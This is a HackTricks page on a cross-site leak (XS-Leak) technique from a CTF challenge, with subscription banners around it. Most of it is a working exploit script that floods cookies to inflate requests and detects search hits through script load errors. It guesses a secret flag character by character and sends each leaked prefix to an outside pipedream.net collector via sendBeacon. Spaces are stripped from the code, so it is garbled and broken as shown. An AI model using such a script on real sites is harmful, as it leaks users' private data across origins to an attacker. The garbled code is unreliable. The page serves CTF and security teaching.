Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
The following script taken from here is exploiting a functionality that allows the user to insert any amount of cookies, and then loading a file as a script knowing that the true response will be larger than the false one and then. If successful, the response is a redirect with a resulting URL longer, too large to handle by the server so return an error http status code. If the search fails, nothing will happen because URL is short.
<>'";<formaction='https://sustenance.web.actf.co/s'method=POST><inputid=f /><inputname=searchvalue=a /></form><script>const$=document.querySelector.bind(document);constsleep= (ms) =>newPromise(r =>setTimeout(r, ms));let i =0;conststuff=async (len=3500) => {let name =Math.random();$("form").target = name;let w =window.open('', name);$("#f").value ="_".repeat(len);$("#f").name = i++;$("form").submit();awaitsleep(100); };constisError=async (url) => {returnnewPromise(r => {let script =document.createElement('script');script.src = url;script.onload= () =>r(false);script.onerror= () =>r(true);document.head.appendChild(script); }); }constsearch= (query) => {returnisError("https://sustenance.web.actf.co/q?q="+encodeURIComponent(query)); };constalphabet="etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";consturl="//en4u1nbmyeahu.x.pipedream.net/";let known ="actf{";window.onload=async () => {navigator.sendBeacon(url +"?load");awaitPromise.all([stuff(),stuff(),stuff(),stuff()]);awaitstuff(1600);navigator.sendBeacon(url +"?go");while (true) {for (let c of alphabet) {let query = known + c;if (awaitsearch(query)) {navigator.sendBeacon(url, query); known += c;break; } } } };</script>
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!